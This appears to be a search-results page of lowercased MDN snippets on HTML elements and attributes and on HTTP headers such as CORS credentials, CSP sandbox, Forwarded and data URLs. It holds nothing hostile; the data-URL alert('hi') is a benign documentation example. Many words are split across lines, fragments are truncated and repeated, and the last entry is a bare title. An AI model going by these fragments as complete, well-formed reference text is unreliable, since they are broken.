iption anonymous cors requests for this element will have the credentials flag set to 'same-origin'. use-credentials cors requests for this element will have the credentials flag set to 'include'. "" setting the attribute name to an...
... specified), cors is not used at all. the "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin. an invalid keyword and an empty string will be handled as the anonymous keyword. ...
...anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin. an invalid keyword and an empty string will be handled as the anonymous keyword. example: crossorigin with the scr
ipt element you can use the following <scr
ipt> element to tell a browser to execute the https://example.com/example-framework.js scr
ipt without sending user-credentials. <scr
ipt src="https://example.com/example-framework.js" crossorigin="anonymous"></scr
ipt> example: webmanifest with credentials the use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin. <link rel=...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
o keep a video playing. browser support firefox 21 includes an implementation of dash for html5 webm video which is turned off by default. it can be enabled via "about:config" and the "media.dash.enabled" preference. firefox 23 removed support for dash for html5 webm video. it will be replaced by an implementation of the media source extensions api which will allow support for dash via javascr
ipt libraries such as dash.js. see bug 778617 for details. using dash - server side first you'll need to convert your webm video to a dash manifest with the accompanying video files in various bit rates. to start with you'll only need the ffpmeg program from ffmpeg.org, with libvpx and libvorbis support for webm video and audio, at least version 2.5 (probably; this was tested ith 3.2.5). 1. use y...
... using dash - server side first you'll need to convert your webm video to a dash manifest with the accompanying video files in various bit rates. to start with you'll only need the ffpmeg program from ffmpeg.org, with libvpx and libvorbis support for webm video and audio, at least version 2.5 (probably; this was tested ith 3.2.5). 1. use your existing webm file to create one audio file and mult
iple video files. for example: the file in.video can be any container with at least one audio and one video stream that can be decoded by ffmpeg, create the audio using: ffmpeg -i in.video -vn -acodec libvorbis -ab 128k -dash 1 my_audio.webm create each video variant. ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1 -f webm -dash 1 \ -an -vf scale=...
... your web page to point to the dash manifest first, instead of directly to a particular video file: <video> <source src="movie.mpd"> <source src="movie.webm"> your browser does not support the video tag. </video> that's it! if dash is supported by the browser, your video will now stream adaptively. links webm dash specification at the webm project dash industry forum webm project descr
iption of how to create dash files with ffmpeg ...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
tributes. the align attribute is obsolete; don't use it. usage notes heading information may be used by user agents, for example, to construct a table of contents for a document automatically. avoid using heading tags to resize text. instead, use the css font-size property. headings use size to indicate their relative importance, but css is preferred for general-purpose resizing. avoid sk
ipping heading levels: always start from <h1>, next use <h2> and so on. you should only use one <h1> per page. using more than one will not result in an error, but using only one is seen as a best practice. it makes logical sense -- <h1> is the most important heading, and tells you what the purpose of the overall page is. you wouldn't have a book with more than one title, or a movie with more than ...
...2> <h3>example 1</h3> <p>some text here...</p> <h3>example 2</h3> <p>some text here...</p> <h2>see also</h2> <p>some text here...</p> here is the result of this code: accessibility concerns navigation a common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine the content of the page. because of this, it is important to not sk
ip one or more heading levels. doing so may create confusion, as the person navigating this way may be left wondering where the missing heading is. don't <h1>heading level 1</h1> <h3>heading level 3</h3> <h4>heading level 4</h4> do <h1>heading level 1</h1> <h2>heading level 2</h2> <h3>heading level 3</h3> nesting headings may be nested as subsections to reflect the organization of the conten...
... headings o page structure o wai web accessibility tutorials mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.1 | w3c understanding wcag 2.0 understanding success criterion 2.4.6 | w3c understanding wcag 2...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
dom interface htmlappletelement attributes align this attribute is used to position the applet on the page relative to content that might flow around it. the html 4.01 specification defines values of bottom, left, middle, right, and top, whereas microsoft and netscape also might support absbottom, absmiddle, baseline, center, and texttop. alt this attribute causes a descr
iptive text alternate to be displayed on browsers that do not support java. page designers should also remember that content enclosed within the <applet> element may also be rendered as alternative text. archive this attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time. code this attribute specifies the url of t...
...ribute is used for data binding under internet explorer 4. it indicates the id of the data source object that supplies the data that is bound to the <param> elements associated with the applet. height this attribute specifies the height, in pixels, that the applet needs. hspace this attribute specifies additional horizontal space, in pixels, to be reserved on either side of the applet. mayscr
ipt in the netscape implementation, this attribute allows access to an applet by programs in a scr
ipting language embedded in the document. name this attribute assigns a name to the applet so that it can be identified by other resources; particularly scr
ipts. object this attribute specifies the url of a serialized representation of an applet. src as defined for internet explorer 4 and higher,...
..., this attribute specifies a url for an associated file for the applet. the meaning and use is unclear and not part of the html standard. vspace this attribute specifies additional vertical space, in pixels, to be reserved above and below the applet. width this attribute specifies in pixels the width that the applet needs. example html <applet code="game.class" align="left" archive="game.z
ip" height="250" width="350"> <param name="difficulty" value="easy"> <b>sorry, you need java to play this game.</b> </applet> specifications specification status comment html 5.2the definition of '<applet>' in that specification. recommendation html 5.1the definition of '<applet>' in that specification. recommendation html5the defi...
<button>: The Button element - HTML: Hypertext Markup Language
by the button. overrides the action attribute of the button's form owner. does nothing if there is no form owner. formenctype html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), specifies how to encode the form data that is submitted. possible values: application/x-www-form-urlencoded: the default if the attribute is not used. mult
ipart/form-data: use to submit <input> elements with their type attributes set to file. text/plain: specified as a debugging aid; shouldn't be used for real form submission. if this attribute is specified, it overrides the enctype attribute of the button's form owner. formmethod html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), th...
... server. this is the default if the attribute is not specified for buttons associated with a <form>, or if the attribute is an empty or invalid value. reset: the button resets all the controls to their initial values, like <input type="reset">. (this behavior tends to annoy users.) button: the button has no default behavior, and does nothing when pressed by default. it can have client-side scr
ipts listen to the element's events, which are triggered when the events occur. value defines the value associated with the button's name when it's submitted with the form data. this value is passed to the server in params when the form is submitted. notes a submit button with the attribute formaction set, but without an associated form does nothing. you have to set a form owner, either by ...
...ample <button name="button">press me</button> accessibility concerns icon buttons buttons that only show an icon to represent do not have an accessible name. accessible names provide information for assistive technology, such as screen readers, to access when they parse the document and generate an accessibility tree. assistive technology then uses the accessibility tree to navigate and man
ipulate page content. to give an icon button an accessible name, put text in the <button> element that concisely describes the button's functionality. example <button name="favorite"> <svg aria-hidden="true" viewbox="0 0 10 10"><path d="m7 9l5 8 3 9v6l1 4h3l1-3 1 3h3l7 6z"/></svg> add to favorites </button> if you want to visually hide the button's text, an accessible way to do so is to use...
<input type="button"> - HTML: Hypertext Markup Language
t is used as the button's label. <input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively). to make buttons do anything, you have to write javascr
ipt code to do the work. a simple button we'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text content of the following paragraph): <form> <input type="button" value="start machine"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryse...
...addeventlistener() is then used to establish a function that will be run when click events occur on the button. adding keyboard shortcuts to buttons keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or...
...utton.addeventlistener('click', disablebutton); function disablebutton() { fieldset.disabled = true; window.settimeout(function() { fieldset.disabled = false; }, 2000); } note: firefox will, unlike other browsers, by default, persist the dynamic disabled state of a <button> across page loads. use the autocomplete attribute to control this feature. validation buttons don't partic
ipate in constraint validation; they have no real value to be constrained. examples the below example shows a very simple drawing app created using a <canvas> element and some simple css and javascr
ipt (we'll hide the css for brevity). the top two controls allow you to choose the color and size of the drawing pen. the button, when clicked, invokes a function that clears the canvas. <div class="to...
<input type="image"> - HTML: Hypertext Markup Language
mnovalidate, formtarget idl attributes none. methods none. value <input type="image"> elements do not accept value attributes. the path to the image to be displayed is specified in the src attribute. ...
...ut>. this attribute is also available on <input type="submit"> and <button> elements. formenctype a string that identifies the encoding method to use when submitting the form data to the server. there are three permitted values: application/x-www-form-urlencoded this, the default value, sends the form data as a string after url encoding the text using an algorithm such as encodeuri(). mult
ipart/form-data uses the formdata api to manage the data, allowing for files to be submitted to the server. you must use this encoding type if your form includes any <input> elements of type file (<input type="file">). text/plain plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted. if specified, the value of the formenctype attribute overrides the...
...y to represent the graphical submit button. when the user interacts with the image, the input is handled like any other button input. width a number indicating the width at which to draw the image, in css pixels. obsolete attributes the following attribute was defined by html 4 for image inputs, but was not implemented by all browsers and has since been deprecated: attribute descr
iption usemap the name of an image map (<map>) element to use with the image; this is obsolete. use the <img> element to create image maps instead usemap if usemap is specified, it must be the name of an image map element, <map>, that defines an image map to use with the image. this usage is obsolete; you should switch to using the <img> element when you want to use image map...
<input type="reset"> - HTML: Hypertext Markup Language
have a value otherwise. <input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but this will vary depending on the user agent): <input type="reset"> using reset buttons <input type="reset"> buttons are used to reset forms. if you want to create a custom button and then customize the behaviour using javascr
ipt, you need to use <input type="button">, or better still, a <button> element. a simple reset button we'll begin by creating a simple reset button: <form> <div> <label for="example">type in some sample text</label> <input id="example" type="text"> </div> <div> <input type="reset" value="reset the form"> </div> </form> this renders like so: try entering some text into th...
...e is that there's no way for the user to know what the access key is! this is especially true since the modifiers are typically non-standard to avoid conflicts. when building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). adding a toolt
ip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes. disabling and enabling a reset button to disable a reset button, simply specify the disabled global attribute on it, like so: <input type="reset" value="disabled" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false; in ja...
...he button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes. disabling and enabling a reset button to disable a reset button, simply specify the disabled global attribute on it, like so: <input type="reset" value="disabled" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false; in javascr
ipt this looks like btn.disabled = true or btn.disabled = false. note: see the <input type="button"> page for more ideas about enabling and disabling buttons. validation buttons don't partic
ipate in constraint validation; they have no real value to be constrained. examples we've included simple examples above. there isn't really anything more to say about reset buttons. specifications ...
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
it is not useful in ordinary html. content categories transparent content permitted content flow content tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
... an html file with everything needed in it. note: this is an experimental technology. for this code to work, the browser you display it in must support web components. see enabling web components in firefox. <html> <head></head> <body> <!-- this <div> will hold the shadow roots. ...
... specifications this element is no longer defined by any specifications. ...
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories sectioning root. permitted content flow content. tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. ...
...onding to the id attribute of the <th> elements that apply to this element. rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. ...
...ains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. values higher than 65534 are cl
ipped down to 65534. deprecated attributes abbr this attribute contains a short abbreviated descr
iption of the cell's content. some user-agents, such as speech readers, may present this descr
iption before the content itself. note: do not use this attribute as it is obsolete in the latest standard. alternatively, you can put the abbreviated descr
iption inside the cell and place the long content in the title attribute. align this enumerated attribute specifies how the cell content's horizo...
<title>: The Document Title element - HTML: Hypertext Markup Language
g role permitted aria roles no role permitted. dom interface htmltitleelement attributes this element only includes the global attributes. usage notes the <title> element is always used within a page's <head> block. page titles and seo the contents of a page title can have significant implications for search engine optimization (seo). ...
... search engines typically display about the first 55-60 characters of a page title. text beyond that may be lost, so try not to have titles longer than that. ...
... better than short or generic titles. the content of the title is one of the components used by search engine algorithms to decide the order in which to list pages in search results. also, the title is the initial "hook" by which you grab the attention of readers glancing at the search results page. a few guidelines and t
ips for composing good titles: avoid one- or two-word titles. use a descr
iptive phrase, or a term-definition pairing for glossary or reference-style pages. search engines typically display about the first 55-60 characters of a page title. text beyond that may be lost, so try not to have titles longer than that. if you must use a longer title, make sure the important parts come earlier and that nothing critical is in the part of the title that is likely to be dropped. d...
data-* - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. all such custom data are available via the htmlelement interface of the element the attribute is set on. the htmlelement.dataset property gives access to them. ...
...e name of the custom data attribute data-test-value will be accessible via htmlelement.dataset.testvalue (or by htmlelement.dataset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase. usage by adding data-* attributes, even ordinary html elements can become rather complex and powerful program-objects. ...
...aset["testvalue"]) as any dash (u+002d) is replaced by the capitalization of the next letter, converting the name to camelcase. usage by adding data-* attributes, even ordinary html elements can become rather complex and powerful program-objects. for example, a space-sh
ip "sprite" in a game could be a simple <img> element with a class attribute and several data-* attributes: <img class="spacesh
ip cruiserx3" src="sh
ipx3.png" data-sh
ip-id="324" data-weapons="laseri laserii" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spacesh
ips[this.dataset.sh
ipid].blasted()"> for a more in-depth tutorial about using html data attributes, see using data attributes. specifications specification status comment html living standardthe definiti...
hidden - HTML: Hypertext Markup Language
dn/interactive-examples and send us a pull request. the hidden attribute must not be used to hide content just from one presentation. if something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. hidden elements shouldn't be linked from non-hidden elements, and elements that are descendants of a hidden element are still active, which means that scr
ipt elements can still execute and form elements can still submit. elements and scr
ipts may, however, refer to elements that are hidden in other contexts. for example, it would be incorrect to use the href attribute to link to a section marked with the hidden attribute. if the content is not applicable or relevant, then there is no reason to link to it. it would be fine, however, to use the aria a...
...nts can still submit. elements and scr
ipts may, however, refer to elements that are hidden in other contexts. for example, it would be incorrect to use the href attribute to link to a section marked with the hidden attribute. if the content is not applicable or relevant, then there is no reason to link to it. it would be fine, however, to use the aria aria-describedby attribute to refer to descr
iptions that are themselves hidden. while hiding the descr
iptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe. ...
... note: changing the value of the css display property on an element with the hidden attribute overrides the behavior. ...
lang - HTML: Hypertext Markup Language
but most usage is much simpler. a language tag is made of hyphen-separated language subtags, where each subtag indicates a certain property of the language. the 3 most common subtags are: language subtag required. a 2-or-3-character code that defines the basic language, typically written in all lowercase. for example, the language code for english is en, and the code for badeshi is bdz. scr
ipt subtag optional. this subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized. for example, french-in-braille is fr-brai and ja-kana is japanese written with the katakana alphabet. if the language is written in a highly typical way, like english in the latin alphabet, there is no need to use this subtag. region subtag optiona...
...here is no need to use this subtag. region subtag optional. this subtag defines a dialect of the base language from a particular location, and is either 2 letters in allcaps matching a country code, or 3 numbers matching a non-country area. for example, es-es is for spanish as spoken in spain, and es-013 is spanish as spoken in central america. "international spanish" would just be es. the scr
ipt subtag precedes the region subtag if both are present -- ru-cyrl-by is russian, written in the cyrillic alphabet, as spoken in belarus. to find the correct subtag codes for a language, try the language subtag lookup. even if the lang attribute is set, it may not be taken into account, as the xml:lang attribute has priority. for the css pseudo-class :lang, two invalid language names are diffe...
... ...
x-ms-acceleratorkey - HTML: Hypertext Markup Language
ure is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
... syntax <button x-ms-acceleratorkey="[explanation of key combination]">...</button> value the accelerator key combination. ...
... syntax <button x-ms-acceleratorkey="[explanation of key combination]">...</button> value the accelerator key combination. ...
HTML: Hypertext Markup Language
html (hypertext markup language) is the most basic building block of the web. it defines the meaning and structure of web content. other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascr
ipt). "hypertext" refers to links that connect web pages to one another, either within a single website or between websites. links are a fundamental aspect of the web. by uploading content to the internet and linking it to pages created by other people, you become an active partic
ipant in the world wide web. html uses "markup" to annotate text, images, and other content for display in a web browser. html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>...
..., check out our html learning area. html reference in our extensive html reference section, you'll find the details about every element and attribute in html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started beginner's tutorials our html learning area features mult
iple modules that teach html from the ground up -- no previous knowledge required. introduction to html this module sets the stage, getting you used to important concepts and syntax such as looking at applying html to text, how to create hyperlinks, and how to use html to structure a web page. multimedia and embedding this module explores how to use html to include multimedia in your web pages...
...-noncompliant. inline elements and block-level elements html elements are usually "inline" or "block-level" elements. an inline element occupies only the space bounded by the tags that define it. a block-level element occupies the entire space of its parent element (container), thereby creating a "block." link types in html, various link types can be used to establish and define the relationsh
ip between two documents. link elements that types can be set on include <a>, <area> and <link>. guide to media types and formats on the web the <audio> and <video> elements allow you to play audio and video media natively within your content without the need for external software support. html content categories html is comprised of several kinds of content, each of which is allowed to be used ...
Data URLs - HTTP
t-encoding (url-encoding) for the quote and space characters. also, for csv data (mime type "text/csv"), percent-encoding is needed to preserve the line endings that delimit rows of the spreadsheet. data:text/plain;base64,sgvsbg8sifdvcmxkiq== base64-encoded version of the above data:text/html,%3ch1%3ehello%2c%20world!%3c%2fh1%3e an html document with <h1>hello, world!</h1> data:text/html,<scr
ipt>alert('hi');</scr
ipt> an html document that executes a javascr
ipt alert. note that the closing scr
ipt tag is required. encoding data into base64 format base64 is a group of binary-to-text encoding schemes that represent binary data in an ascii string format by translating it into a radix-64 representation. by consisting only in ascii characters, base64 strings are generally url-safe, and tha...
... encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument). ...
...osoft windows encoding on windows can be done through powershell or some dedicated tool. it can even be done via bash base64 utility (see section encoding on a unix system) if wsl is activated. [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the p
iping (|) character here common problems this section describes problems that commonly occur when creating and using data urls. data:text/html,lots of text...<p><a name%3d"bottom">bottom</a>?arg=val this represents an html resource whose contents are: lots of text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a com...
Identifying resources on the Web - HTTP
http:// is the protocol. it indicates which protocol the browser must use. usually it is the http protocol or its secured version, https. the web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. ...
... know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. common schemes are: scheme descr
iption data data uris file host-specific file names ftp file transfer protocol http/https hyper text transfer protocol (secure) javascr
ipt url-embedded javascr
ipt code mailto electronic mail address ssh secure shell tel telephone urn uniform resource names view-source source code of the resource ws/wss (encrypted) websocket connections authority www.example.com is the domain name or authority that governs the namespace. it indicates which web ser...
...ess ssh secure shell tel telephone urn uniform resource names view-source source code of the resource ws/wss (encrypted) websocket connections authority www.example.com is the domain name or authority that governs the namespace. it indicates which web server is being requested. alternatively, it is possible to directly use an
ip address, but because it is less convenient, it is not often used on the web. port :80 is the port in this instance. it indicates the technical "gate" used to access the resources on the web server. it is usually omitted if the web server uses the standard ports of the http protocol (80 for http and 443 for https) to grant access to its resources. otherwise it is mandatory. path /pat...
HTTP conditional requests - HTTP
sts, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator. such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server. princ
iples http conditional requests are requests that are executed differently, depending on the value of specific headers. these headers define a precondition, and the result of the request will be different if the precondition is matched or not. the different behaviors are defined by the method of the request used, and by the set of headers used for a precondition: for safe methods, like get, whi...
...ontrol header, the client doesn't use the cached value directly but issues a conditional request. the value of the validator is used as a parameter of the if-modified-since and if-match headers. if the resource has not changed, the server sends back a 304 not modified response. this makes the cache fresh again, and the client uses the cached resource. although there is a response/request round-tr
ip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again. if the resource has changed, the server just sends back a 200 ok response, with the new version of the resource, like if the request wasn't conditional and the client uses this new resource (and caches it). besides the setting of the validators on the server side, this mechanism is ...
... partial download partial downloading of files is a functionality of http that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information: a server supporting partial downloads broadcasts this by sending the accept-ranges header. once this happens, the client can resume a download by sending a ranges header with the missing ranges: the princ
iple is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted. to prevent this, conditional requests are used. for ranges, there are two ways of doing this. the more flexible one makes use of if-unmodified-since and if-mat...
Access-Control-Allow-Credentials - HTTP
credentials are cookies, authorization headers or tls client certificates. when used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. ...
... credentials are cookies, authorization headers or tls client certificates. when used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. ...
...s not returned with the resource, the response is ignored by the browser and not returned to web content. the access-control-allow-credentials header works in conjunction with the xmlhttprequest.withcredentials property or with the credentials option in the request() constructor of the fetch api. for a cors request with credentials, in order for browsers to expose the response to frontend javascr
ipt code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they're opting in to including credentials. header type response header forbidden header name no syntax access-control-allow-credentials: true directives true the only valid value f...
CSP: sandbox - HTTP
csp version 1.1 / 2 directive type document directive this directive is not supported in the <meta> element or by the content-security-policy-report-only header field. ...
...arty advertisement to be safely sandboxed without forcing the same restrictions upon a landing page. allow-presentation allows embedders to have control over whether an iframe can start a presentation session. allow-same-origin allows the content to be treated as being from its normal origin. if this keyword is not used, the embedded content is treated as being from a unique origin. allow-scr
ipts allows the page to run scr
ipts (but not create pop-up windows). if this keyword is not used, this operation is not allowed. allow-storage-access-by-user-activation lets the resource request access to the parent's storage capabilities with the storage access api. allow-top-navigation allows the page to navigate (load) content to the top-level browsing context. if this keyword is not used,...
... capabilities with the storage access api. allow-top-navigation allows the page to navigate (load) content to the top-level browsing context. if this keyword is not used, this operation is not allowed. allow-top-navigation-by-user-activation lets the resource navigate the top-level browsing context, but only if initiated by a user gesture. examples content-security-policy: sandbox allow-scr
ipts; specifications specification status comment content security policy level 3the definition of 'sandbox' in that specification. working draft no changes. content security policy level 2the definition of 'sandbox' in that specification. recommendation initial definition. ...
Forwarded - HTTP
om the reverse proxy servers that is altered or lost when a proxy is involved in the path of the request. the alternative and de-facto standard versions of this header are the x-forwarded-for, x-forwarded-host and x-forwarded-proto headers. this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the
ip address of the client. therefore the user's privacy must be kept in mind when deploying this header. header type request header forbidden header name no syntax forwarded: by=<identifier>;for=<identifier>;host=<host>;proto=<http|https> directives <identifier> an identifier disclosing the information that is altered or lost when using a proxy. this can be eith...
... the client. therefore the user's privacy must be kept in mind when deploying this header. header type request header forbidden header name no syntax forwarded: by=<identifier>;for=<identifier>;host=<host>;proto=<http|https> directives <identifier> an identifier disclosing the information that is altered or lost when using a proxy. this can be either: an
ip address (v4 or v6, optionally with a port, and
ipv6 quoted and enclosed in square brackets), an obfuscated identifier (such as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made). by=<identifier> the interface where the request came in to the proxy server. for=<identifier> the client that...
... proxies. host=<host> the host request header field as received by the proxy. proto=<http|https> indicates which protocol was used to make the request (typically "http" or "https"). examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # mult
iple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwarded header, the x-forwarded-for header can be replaced. note that
ipv6 address are quoted and enclosed in square brackets in forwarded. x-forwarded-for: 123.34.567.89 forwarded: for=123.34.567.
Keep-Alive - HTTP
identifiers are possible: timeout: indicating the minimum amount of time an idle connection has to be kept opened (in seconds). note that timeouts longer than the tcp timeout may be ignored if no keep-alive tcp message is set at the transport level. max: indicating the maximum number of requests that can be sent on this connection before closing it. ...
...e connection has to be kept opened (in seconds). note that timeouts longer than the tcp timeout may be ignored if no keep-alive tcp message is set at the transport level. max: indicating the maximum number of requests that can be sent on this connection before closing it. unless 0, this value is ignored for non-p
ipelined connections as another request will be sent in the next response. an http p
ipeline can use it to limit the p
ipelining. ...
... level. max: indicating the maximum number of requests that can be sent on this connection before closing it. unless 0, this value is ignored for non-p
ipelined connections as another request will be sent in the next response. an http p
ipeline can use it to limit the p
ipelining. ...
Server-Timing - HTTP
the server-timing header communicates one or more metrics and descr
iptions for a given request-response cycle. it is used to surface any backend server timing metrics (e.g. database read/write, cpu time, file system access, etc.) in the developer tools in the user's browser or in the performanceservertiming interface. header type response header forbidden header name no syntax the syntax of the server-timing header allows you to communicate metrics in different ways: server metric name only, metric with value, metric with value and descr
iption, and metric with descr
iption. the specification advices that names and descr
iptions should be kept as short as possible (use abbreviations and omit optional values where possible) to minimize the http overhead. // si...
...ith value, metric with value and descr
iption, and metric with descr
iption. the specification advices that names and descr
iptions should be kept as short as possible (use abbreviations and omit optional values where possible) to minimize the http overhead. // single metric without value server-timing: missedcache // single metric with value server-timing: cpu;dur=2.4 // single metric with descr
iption and value server-timing: cache;desc="cache read";dur=23.2 // two metrics with value server-timing: db;dur=53, app;dur=47.2 // server-timing as trailer trailer: server-timing --- response body --- server-timing: total;dur=123.4 privacy and security the server-timing header may expose potentially sensitive application and infrastructure information. consider to control which metrics are re...
...ol which metrics are returned when and to whom on the server side. for example, you could only show metrics to authenticated users and nothing to the public. performanceservertiming interface in addition to having server-timing header metrics appear in the developer tools of the browser, the performanceservertiming interface enables tools to automatically collect and process metrics from javascr
ipt. this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics. the interface is only available in secure contexts (https) in some browsers. specifications specification status title server timingthe definition of 'server-timing header field' in that specification. ...
TE - HTTP
te request header specifies the transfer encodings the user agent is willing to accept. (you could informally call it accept-transfer-encoding, which would be more intuitive). in http/2 - the te header field is only accepted if the trailers value is set. see also the transfer-encoding response header for more details on transfer encodings. ...
...ransfer encodings. note that chunked is always acceptable for http/1.1 rec
ipients and you don't have to specify "chunked" using the te header. however, it is useful for setting if the client is accepting trailer fields in a chunked transfer coding using the "trailers" value. header type request header forbidden header name yes syntax te: compress te: deflate te: gz
ip te: trailers // mult
iple directives, weighted with the quality value syntax: te: trailers, deflate;q=0.5 directives compress a format using the lempel-ziv-welch (lzw) algorithm is accepted as a transfer coding name. deflate using the zlib structure is accepted as a transfer coding name. ...
...quest header forbidden header name yes syntax te: compress te: deflate te: gz
ip te: trailers // mult
iple directives, weighted with the quality value syntax: te: trailers, deflate;q=0.5 directives compress a format using the lempel-ziv-welch (lzw) algorithm is accepted as a transfer coding name. deflate using the zlib structure is accepted as a transfer coding name. gz
ip a format using the lempel-ziv coding (lz77), with a 32-bit crc is accepted as a transfer coding name. trailers indicates that the client is willing to accept trailer fields in a chunked transfer coding. q when mult
iple transfer codings are acceptable, the q parameter of the quality value syntax can rank codings by preference. specifications specification title rfc...
User-Agent - HTTP
firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla-compatible. for historical reasons, almost every browser today sends it. platform describes the native platform the browser is running on (windows, mac, linux, android, etc.), and if it's a mobile phone. firefox os phones simply say mobile -- the web is the platform. note that platform can consist of mult
iple "; "-separated tokens. see below for further details and examples. rv:geckoversion indicates the release version of gecko (such as "17.0"). in recent browsers, geckoversion is the same as firefoxversion. gecko/geckotrail indicates that the browser is based on gecko. (on desktop, geckotrail is always the fixed string 20100101.) firefox/firefoxversion indicates the browser is firefox, and prov...
...4) applewebkit/537.36 (khtml, like gecko) chrome/51.0.2704.106 safari/537.36 opr/38.0.2220.41 older, presto-based opera releases used: opera/9.80 (macintosh; intel mac os x; u; en) presto/2.2.15 version/10.00 opera/9.60 (windows nt 6.0; u; en) presto/2.1.1 safari ua string in this example, the user agent string is mobile safari's version. it contains the word "mobile". ...
...it/537.36 (khtml, like gecko) chrome/51.0.2704.106 safari/537.36 opr/38.0.2220.41 older, presto-based opera releases used: opera/9.80 (macintosh; intel mac os x; u; en) presto/2.2.15 version/10.00 opera/9.60 (windows nt 6.0; u; en) presto/2.1.1 safari ua string in this example, the user agent string is mobile safari's version. it contains the word "mobile". ...
X-Content-Type-Options - HTTP
plied to top-level documents if a content-type is provided. this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than text/html. make sure to set both headers correctly. site security testers usually expect this header to be set. note: x-content-type-options only apply request-blocking due to nosniff for request destinations of "scr
ipt" and "style". however, it also enables cross-origin read blocking (corb) protection for html, txt, json and xml files (excluding svg image/svg+xml). header type response header forbidden header name no syntax x-content-type-options: nosniff directives nosniff blocks a request if the request destination is of type: "style" and the mime type is not text...
... however, it also enables cross-origin read blocking (corb) protection for html, txt, json and xml files (excluding svg image/svg+xml). ...
...read blocking (corb) protection for html, txt, json and xml files (excluding svg image/svg+xml). ...
X-XSS-Protection - HTTP
